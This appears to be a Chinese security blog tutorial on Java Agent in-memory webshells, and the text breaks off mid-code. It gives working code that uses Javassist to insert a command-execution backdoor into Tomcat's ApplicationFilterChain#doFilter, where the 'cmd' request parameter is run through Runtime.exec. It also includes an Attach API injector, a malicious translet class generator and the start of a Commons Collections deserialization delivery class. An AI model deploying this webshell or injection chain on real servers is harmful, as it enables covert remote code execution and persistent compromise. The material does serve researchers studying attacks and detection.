JavaAgent内存马
前言
基于Tomcat的内存马类型有四种:Filter、Servlet、Listener和Agent。
在之前的面试中,有个问题是:如果不是基于Tomcat的Java网站,该如何注入内存马。当时没有了解到Agent内存马,现在才知道, Agent内存马是不受Tomcat框架限制的,因此来学习研究一下
JavaAgent简介
学了这么长时间Java,我们知道Java与PHP不同,它是一种静态强类型语言,在运行之前必须将其编译成.class字节码,然后再交给JVM处理运行。
在JDK1.5之后,引入了java.lang.instrument
包,该包提供了检测java程序的API接口,其中包括 监控、收集性能信息和诊断问题等,通过java.lang.insrument
实现的工具我们称它为Java Agent。JavaAgent能够在不影响正常编译的情况下来修改字节码(动态修改已加载和未加载的类,其中包括属性和方法),类似于之前学习的反射修改属性值的方式。
Java Agent支持以下两种方式进行加载:
实现premain方法,在启动时进行加载(JDK >= 1.5)
实现agentmain方法,在启动后进行加载(JDK >= 1.6)
普通Java类以main函数作为入口点,而JavaAgent的入口点是premain和agentmain
JaveAgent加载
Agent-premain
PreMain的大体流程如下,Agent的premain方法会在main函数执行前执行
想要实现启动时执行premain方法,首先我们必须去实现premain方法,同时在我们的清单(sMainfest)中必须要包含Premain-Class
属性,然后再命令行中利用-javaagent
参数实现启动时加载
我们来实现一个Demo来进行测试
首先创建一个类当作我们的Agent类,实现premain方法
1 2 3 4 5 6 7 8 9 10 import java.lang.instrument.Instrumentation;public class preAgent { public static void premain (String agentArgs, Instrumentation inst) { System.out.println(agentArgs); for (int i=0 ;i<5 ;i++){ System.out.println("premain method is invoked!" ); } } }
然后创建mainfest,将其保存到agent.mf
文件内,且需要含有Premain-Class属性
PS!!!:在.mf文件的最后,一定要有空行
1 2 3 Manifest-Version: 1.0 Premain-Class: preAgent
利用Javac命令将java文件编译成class文件,然后利用jar命令进行打包,去生成我们的agent.jar
1 2 javac preAgent.java jar cvfm agent.jar agent.mf preAgent.class
然后再去创建一个普通类去实现main方法
1 2 3 4 5 public class Demo { public static void main (String[] args) { System.out.println("Hello,PreAgent" ); } }
将以下内容写入Demo.mf
1 2 3 Manifest-Version: 1.0 Main-Class: com.Demo
利用同样的方法进行编译打包成Demo.jar
1 2 javac Demo.java jar cvfm agent.jar Demo.mf Demo.class
最终我们得到了agent.jar和Demo.jar
然后我们在java -jar
中添加参数-javaagent:agent.jar
,就可以在启动时优先执行preAgent中的premain方法,并且可以通过命令行传入我们的agetnArgs参数
1 java -javaagent:agent.jar=Sean -jar Demo.jar
Agent-agentmain
上述的premain方法在JDK1.5中提供,在JDK版本为1.5时,开发者只能在main加载之前添加手脚,但是对于大部分内存马注入时,都是JVM已经运行的情况下。在JDK1.6中实现了attach-on-demand,我们可以使用AttachAPI动态的加载Agent,agentmain能够在JVM启动后加载并实现相应的修改字节码的功能。
AttachAPI在tool.jar中,而JVM启动时默认不加载该依赖,需要我们在classpath中额外进行指定
VirtualMachine类
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类)。里面配备有几个方法LoadAgent,Attach 和 Detach 。下面来看看这几个方法的作用
1 2 3 4 5 6 7 8 VirtualMachine.attach() VirtualMachine.loadAgent() VirtualMachine.list() VirtualMachine.detach()
VirtualMachineDescriptor
com.sun.tools.attach.VirtualMachineDescriptor类是一个用来描述特定虚拟机的类,其方法可以获取虚拟机的各种信息如PID、虚拟机名称等。下面是一个获取特定虚拟机PID的示例。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package com.sean; import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; import java.util.List; public class get_PID { public static void main (String[] args) { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vmd : list){ if (vmd.displayName().equals("com.sean.get_PID" )) System.out.println(vmd.id()); } } }
Demo实现
接下来我们简单实现一下agentMain
首先编写一个 Sleep_Hello
类,模拟正在运行的 JVM
1 2 3 4 5 6 7 8 9 10 11 12 package agent;import static java.lang.Thread.sleep;public class Sleep_Hello { public static void main (String[] args) throws InterruptedException { while (true ){ System.out.println("Hello World!" ); sleep(5000 ); } } }
然后编写AgentMain类作为我们的Agent
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 package agent;import java.lang.instrument.Instrumentation;import static java.lang.Thread.sleep;public class AgentMain { public static void agentmain (String args, Instrumentation inst) throws InterruptedException { while (true ){ System.out.println("调用agentmain-Agent!" ); sleep(3000 ); } } }
同时配置 agentmain.mf 文件
1 2 3 Manifest-Version: 1.0 Agent-Class: agent.AgentMain
分别对上面的 java 文件进行编译,然后利用命令行进行打包
这样我们的 AgentMain.jar 就成功生成了
1 jar cvfm AgentMain.jar agentmain.mf AgentMain.class Sleep_Hello .class
接下来我们去编写测试类Inject_Agent,可以将agent注入到正在运行的JVM中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 package agent;import com.sun.tools.attach.*;import java.io.File;import java.io.IOException;import java.util.List;public class Inject_Agent { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AttachNotSupportedException, AgentLoadException, AgentInitializationException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); String path="E:\\Code\\java\\AgentMem\\src\\main\\java\\agent\\AgentMain.jar" ; for (VirtualMachineDescriptor vmd : list){ System.out.println(vmd.displayName()); if (vmd.displayName().contains("Sleep" )){ VirtualMachine virtualMachine = VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent(path); virtualMachine.detach(); } } } }
先运行Sleep_Hello
,然后执行Inject_Agent,可以看到执行效果如下
不过由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 public class TestAgentMain { public static void main (String[] args) { try { java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); System.out.println(toolsPath.toURI().toURL()); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class<?> MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class<?> MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List<Object> list = (java.util.List<Object>) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM Start.." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); String name = (String) displayName.invoke(o,null ); System.out.println(name); if (name.contains("TestAgentMain" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); java.lang.String path = "AgentMain.jar的路径" ; loadAgent.invoke(vm,new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); break ; } } } catch (Exception e){ e.printStackTrace(); } } }
动态修改字节码
我们可以看到在实现 premain方法 的时候,我们除了能获取到 agentArgs 参数,还可以获取 Instrumentation 实例,那么 Instrumentation 实例是什么,在此之前我们先去了解一下Javassist(当时在生成字节码时就用它,但是一直没有知道怎么用)
Javassist
简介
Java 字节码以二进制的形式存储在 .class 文件中,每一个.class文件包含一个Java类或接口。Javaassist 就是一个用来处理Java字节码的类库。它可以在一个已经编译好的类中添加新的方法,或者是修改已有的方法,并且不需要对字节码方面有深入的了解。同时也可以通过手动的方式去生成一个新的类对象。其使用方式类似于反射。
ClassPool
`ClassPool`是`CtClass`对象的容器。`CtClass`对象必须从该对象获得。如果调用此对象的`get()`方法,则它将搜索表示的各种源`ClassPath` 以查找类文件,然后创建一个`CtClass`表示该类文件的对象。创建的对象将返回给调用者。可以将其理解为一个存放`CtClass`对象的容器。
获得方法如下:
通过ClassPool.getDefault()
使用JVM的类搜索路径。如果程序运行在JBoss或者Tomcat的Web服务器上,则ClassPool可能无法找到用户的类,因为Web会服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool必须添加额外的搜索路径
1 2 3 4 ClassPool cp = ClassPool.getDefault();cp.insertClassPath(new ClassClassPath (<Class>));
CtClass
可以将CtClass理解成加强版的Class对象,我们可以通过CtClass对目标类进行各种操作。可以通过以下代码获取
1 ClassPool.get(ClassName)
CtMethod
同理我们可以将其理解为加强版的Method对象。通过`CtClass.getDeclaredMethod(MethodName)`获取,其中该类提供了一些方法可以让我们直接修改方法体,方法如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public final class CtMethod extends CtBehavior { } public abstract class CtBehavior extends CtMember { public void setBody (String src) ; public void insertBefore (String src) ; public void insertAfter (String src) ; public int insertAt (int lineNum, String src) ; }
其中传递给insertBefore
、insertAfter
和insertAt
的String对象是由Javassist
的编译器进行编译的。该编译器支持语言的扩展,以下以$符号开头的几个标识符具有特殊的含义:
Javassist使用Demo
pom.xml中导入以下依赖
1 2 3 4 5 <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.27 .0 -GA</version> </dependency>
创建我们的测试类,用javassist创建一个Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 import javassist.*;public class JavassistDemo { public static void CreatePerson () throws Exception{ ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("javassist.Person" ); CtField ctField1 = new CtField (classPool.get("java.lang.String" ),"name" , ctClass); ctField1.setModifiers(Modifier.PRIVATE); ctClass.addField(ctField1,CtField.Initializer.constant("Sean" )); ctClass.addMethod(CtNewMethod.setter("setName" ,ctField1)); ctClass.addMethod(CtNewMethod.getter("getName" ,ctField1)); CtConstructor ctConstructor = new CtConstructor (new CtClass []{}, ctClass); ctConstructor.setBody("{name = \"Sean\";}" ); ctClass.addConstructor(ctConstructor); CtMethod ctMethod = new CtMethod (CtClass.voidType, "printName" , new CtClass []{}, ctClass); ctMethod.setModifiers(Modifier.PUBLIC); ctMethod.setBody("{System.out.println(\"Hello World\");}" ); ctClass.addMethod(ctMethod); ctClass.writeFile(); } public static void main (String[] args) throws Exception { CreatePerson(); } }
生成person.class文件,反编译后如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 package javassist;public class Person { private String name = "Sean" ; public void setName (String var1) { this .name = var1; } public String getName () { return this .name; } public Person () { this .name = "Sean" ; } public void printName () { System.out.println("Hello World" ); } }
我们可以利用javassist来生成一个恶意的.class类,在我们之前打链子时,会使用该方法生成恶意class类的字节码,当时直接使用的师傅们的代码,自己并不清楚(好像有减少payload长度的效果)
使用Javassist生成恶意class
在我们CC的学习中,利用动态加载字节码进行代码执行时,我们的恶意类需要继承`AbstractTranslet`类,并且充血两个`transform`方法。否则编译会无法通过,无法生成我们的class文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class createClass extends AbstractTranslet { public void shell () throws Exception{ try { Runtime.getRuntime().exec("calc" ); }catch (Exception e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
该恶意类在执行的过程中并没有用到重写的方法,因此我们可以直接使用Javassist从字节码层面来生成恶意class,跳过恶意类的编译过程。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import java.io.File;import java.io.FileOutputStream;public class createClass { public static byte [] getTemplatesImpl(String cmd) { try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("Evil" ); CtClass superClass = classPool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor ctConstructor = ctClass.makeClassInitializer(); ctConstructor.setBody("try{\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception e){\n" + " }" ); byte [] bytes = ctClass.toBytecode(); ctClass.detach(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } } public static void writeShell () throws Exception { byte [] shell = createClass.getTemplatesImpl("calc" ); FileOutputStream fileOutputStream = new FileOutputStream (new File ("Sean.class" )); fileOutputStream.write(shell); } public static void main (String[]args) throws Exception { writeShell(); } }
保存出来的恶意文件如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public class Evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc" ); } catch (Exception var1) { } } public Evil () { } }
Instrumentation
Instrumentation 是 JVMTIAgent(JVM Tool Interface Agent)的一部分,Java agent通过这个类和目标 JVM 进行交互,从而达到修改数据的效果
在 Instrumentation 中增加了名叫 transformer 的 Class 文件转换器,转换器可以改变二进制流的数据。Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
Instrumentation 提供了 addTransformer,getAllLoadedClasses,retransformClasses 等方法,由于我们后面只用到了这三个,所以就只去介绍这三个
方法介绍
addTransformer
addTransformer方法用来注册Transformer,因此我们可以通过编写ClassFileTransformer接口实现类来注册自己的Transformer
1 2 void addTransformer (ClassFileTransformer transformer)
当类进行加载时,会进入到我们自己的Transformer中的transform函数进行拦截
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte [] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/" , "" ); if (className.equals(ClassName)){ System.out.println("Got it!!!" ); try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(ClassName); CtMethod ctMethod = ctClass.getDeclaredMethod("internalDoFilter" ); ctMethod.insertBefore("System.out.println(\"sean\")" ); byte [] bytecode = ctClass.toBytecode(); ctClass.detach(); return bytecode; }catch (Exception e){ System.out.println(e); e.printStackTrace(); } } return new byte [0 ]; } }
getAllLoadedClasses
getAllLoadedClasses 方法能列出所有已加载的 Class,我们可以通过遍历 Class 数组来寻找我们需要重定义的 class
1 2 3 4 5 6 7 public static void agentmain (String args, Instrumentation inst) { inst.addTransformer(new DefineTransformer (),true ); Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses) { System.out.println(cls.getName()); } }
retransformClasses
retransformClasses 方法能对已加载的 class 进行重新定义,也就是说如果我们的目标类已经被加载的话,我们可以调用该函数,来重新触发这个Transformer的拦截,以此达到对已加载的类进行字节码修改的效果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import java.lang.instrument.Instrumentation;public class AgentMain { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation inst) { inst.addTransformer(new DefineTransformer (),true ); Class[] allLoadedClasses = inst.getAllLoadedClasses(); for (Class cls : allLoadedClasses) { if (cls.getName().equals(ClassName)){ try { System.out.println("Inject Class exist:" + cls.getName()); inst.retransformClasses(new Class []{cls}); }catch (Exception e){ e.printStackTrace(); } } } } }
Demo
首先利用addTransformer注册一个transformer,然后创建一个ClassFileTransformer抽象类的实现类,重写其transform方法
1 2 3 4 5 6 7 8 9 10 11 12 import java.lang.instrument.Instrumentation;public class DemoTest { public static void premain (String agentArgs, Instrumentation inst) throws Exception{ System.out.println(agentArgs); for (int i=0 ;i<5 ;i++){ System.out.println("premain method is invoked!" ); } inst.addTransformer(new DefineTransformer (),true ); } }
这里我们只输出一个className去做测试
1 2 3 4 5 6 7 8 9 10 11 import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte [] classfileBuffer) throws IllegalClassFormatException { System.out.println(className); return new byte [0 ]; } }
PS:如果需要修改已经被JVM加载过的类的字节码,那么还需要在MAINFEST.MF中添加Can-Retransform-Classes: true 或 Can-Redefine-Classes: true
1 2 Can-Retransform-Classes 是否支持类的重新替换 Can-Redefine-Classes 是否支持类的重新定义
当类被加载的时候就会调用 DefineTransformer 中的 transform 方法,然后我们这里的逻辑就是直接输出加载的类的类名
最后利用内存马注入的例子来介绍一下动态修改字节码的一个逻辑
利用JavaAgent注入内存马肯定是需要修改我们指定的类中的某个方法,所以我们这里可以借助 javasist 对字节码进行一个扩充(增加自己的方法)
用 if 做一个判断,表示我们只对特定的 classname 的字节码进行处理
第二个则是利用 javasist 来对字节码进行一个动态修改,这样的话我们的恶意方法就会被添加到 ApplicationFilterChain#doFilter
方法中了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 import javassist.ClassPool;import javassist.CtClass;import javassist.CtMethod;import java.lang.instrument.ClassFileTransformer;import java.lang.instrument.IllegalClassFormatException;import java.lang.instrument.Instrumentation;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain,byte [] classfileBuffer) throws IllegalClassFormatException { className = className.replace("/" , "" ); if (className.equals(ClassName)){ System.out.println("Got it!!!" ); try { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.get(ClassName); CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter" ); ctMethod.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if(cmd != null){\n" + "try{\n" + "java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + "java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + "String line;\n" + "StringBuilder sb = new StringBuilder(\"\");\n" + "while((line = reader.readLine()) != null){\n" + "sb.append(line).append(\"\\n\");\n" + "}\n" + "response.getOutputStream().println(sb.toString());\n" + "response.getOutputStream().flush();\n" + "response.getOutputStream().close();\n" + "}catch (Exception e){\n" + "e.printStackTrace();\n" + "}\n" + "}" ); byte [] bytecode = ctClass.toBytecode(); ctClass.detach(); return bytecode; }catch (Exception e){ System.out.println(e); e.printStackTrace(); } } return new byte [0 ]; } }
局限性
大多数情况下,我们使用 Instrumentation 都是使用其字节码插桩的功能,简单来说就是类重定义功能(Class Redefine),但是有以下局限性:
premain 和 agentmain 两种方式修改字节码的时机都是类文件加载之后,也就是说必须要带有 Class 类型的参数,不能通过字节码文件和自定义的类名重新定义一个本来不存在的类。
类的字节码修改称为类转换 (Class Transform),类转换其实最终都回归到类重定义 Instrumentation#redefineClasses
方法,此方法有以下限制:
新类和老类的父类必须相同
新类和老类实现的接口数也要相同,并且是相同的接口
新类和老类访问符必须一致。 新类和老类字段数和字段名要一致
新类和老类新增或删除的方法必须是 private static/final 修饰的
可以修改方法体
Agent内存马注入
在正常的实际环境中,我们遇到的情况都是已经在启动中的,premain那种方法并不适合内存马的注入,因此这里我们用agentmain来进行注入内存马
如何动态修改对应类的字节码在上文中已提过,所以我们现在第一件事是需要找到对应的类中的某个方法,这个类中的方法需要满足两个要求
该方法一定会被执行
不会影响正常的业务逻辑
环境配置
+ SpringBoot2.6.13
+ CommonCollection3.2.1
这里我用Springboot作为漏洞环境,Controller代码如下,这样一个简单的反序列化环境就搭建完成了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 package com.spring1.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.RequestMapping;import org.springframework.web.bind.annotation.ResponseBody;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.ObjectInputStream;@Controller public class agentFilter { @ResponseBody @RequestMapping("/cc") public String cc11Vuln (HttpServletRequest request, HttpServletResponse response) throws Exception { java.io.InputStream inputStream = request.getInputStream(); ObjectInputStream objectInputStream = new ObjectInputStream (inputStream); objectInputStream.readObject(); return "Hello,World" ; } @ResponseBody @RequestMapping("/demo") public String demo (HttpServletRequest request, HttpServletResponse response) throws Exception{ return "This is OK Demo!" ; } }
寻找关键类
在此之前我们学习过Filter内存马,当我们用户请求到达Servlet前,一定会经过Filter,以此来对我们的请求进行过滤。
在Filter中存在doFilter方法,除了会对我们的请求进行过滤,会依次调用FilterChains中的Filter,同时在 ApplicationFilterChain#doFilter
中还封装了我们用户请求的 request 和 response ,那么如果我们能够注入该方法,那么我们不就可以直接获取用户的请求,将执行结果写在 response 中进行返回。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public void doFilter (ServletRequest request, ServletResponse response) throws IOException, ServletException { if ( Globals.IS_SECURITY_ENABLED ) { final ServletRequest req = request; final ServletResponse res = response; try { java.security.AccessController.doPrivileged( (java.security.PrivilegedExceptionAction<Void>) () -> { internalDoFilter(req,res); return null ; } ); } ... } } else { internalDoFilter(request,response); } }
反序列化注入
注入流程如下:
编写 agent.jar 从而实现 <font style="color:rgb(51, 51, 51);">org.apache.catalina.core.ApplicationFilterChain#doFilter</font>
进行字节码修改
利用 CC依赖 的反序列化漏洞将我们的加载代码打进去,然后使其执行来加载我们的 agent.jar
第一步
首先注册我们的 DefineTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义,AgentMain.java代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.lang.instrument.Instrumentation;public class AgentMain { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer (),true ); Class[] classes = ins.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try { ins.retransformClasses(new Class []{clas}); } catch (Exception e){ e.printStackTrace(); } } } } }
修改字节码的关键在于 transformer() 方法,因此我们重写该方法即可
对 transform 拦截的类进行判断,如果被拦截的 classname 等于 ApplicationFilterChain
的话那么就对其进行字节码动态修改,这里我们使用 insertBefore 方法,将其插入到前面,从而减少对原程序的功能破坏
DefineTransformer.java代码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 import javassist.*;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public byte [] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace("/" ,"." ); if (className.equals(ClassName)){ System.out.println("Find the Inject Class: " + ClassName); ClassPool pool = ClassPool.getDefault(); try { CtClass c = pool.getCtClass(className); CtMethod m = c.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.http.HttpServletRequest req = request;\n" + "javax.servlet.http.HttpServletResponse res = response;\n" + "java.lang.String cmd = request.getParameter(\"cmd\");\n" + "if (cmd != null){\n" + " try {\n" + " java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();\n" + " java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(in));\n" + " String line;\n" + " StringBuilder sb = new StringBuilder(\"\");\n" + " while ((line=reader.readLine()) != null){\n" + " sb.append(line).append(\"\\n\");\n" + " }\n" + " response.getOutputStream().print(sb.toString());\n" + " response.getOutputStream().flush();\n" + " response.getOutputStream().close();\n" + " } catch (Exception e){\n" + " e.printStackTrace();\n" + " }\n" + "}" ); byte [] bytes = c.toBytecode(); c.detach(); return bytes; } catch (Exception e){ e.printStackTrace(); } } return new byte [0 ]; } }
然后maven进行打包,这样我们的agent.jar就完成了
第二步
在上一步中,我们已经编写好了agnet.jar,接下来就需要我们编写java代码来将其加载进JVM中
其中大致思路为获取到JVM的PID,调用loadAgent方法将agent.jat注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 try { java.lang.String path = "C:\\Users\\xxxxx\\Desktop\\AgentMain-1.0-SNAPSHOT-jar-with-dependencies.jar" ; java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM list ..." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); java.lang.String name = (java.lang.String) displayName.invoke(o,null ); if (name.contains("com.spring1.Spring1Application" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o,new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" ,new Class []{java.lang.String.class}); loadAgent.invoke(vm,new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" ,null ); detach.invoke(vm,null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e){ e.printStackTrace(); }
效果实现
将我们的SpringBoot环境启动起来,然后将上述代码运行,输入以下内容,代表内存马已经注入成功
通过url将cmd参数传入后,可以看到命令执行成功
这里只是正常方式的注入,而实际环境中的大部分环境只能反序列化注入或者jsp文件注入
接下来我们尝试通过CC反序列化进行注入Agent内存马,首先编译下面这个Test类为Test.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class Test extends AbstractTranslet { static { try { java.lang.String path = "E:\\Tools\\ysoserial\\agent.jar" ; java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" ,null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine,null ); System.out.println("Running JVM list ..." ); for (int i=0 ;i<list.size();i++){ Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" ,null ); java.lang.String name = (java.lang.String) displayName.invoke(o,null ); if (name.contains("com.spring1.Spring1Application" )){ java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" ,null ); java.lang.String id = (java.lang.String) getId.invoke(o,null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" ,new Class 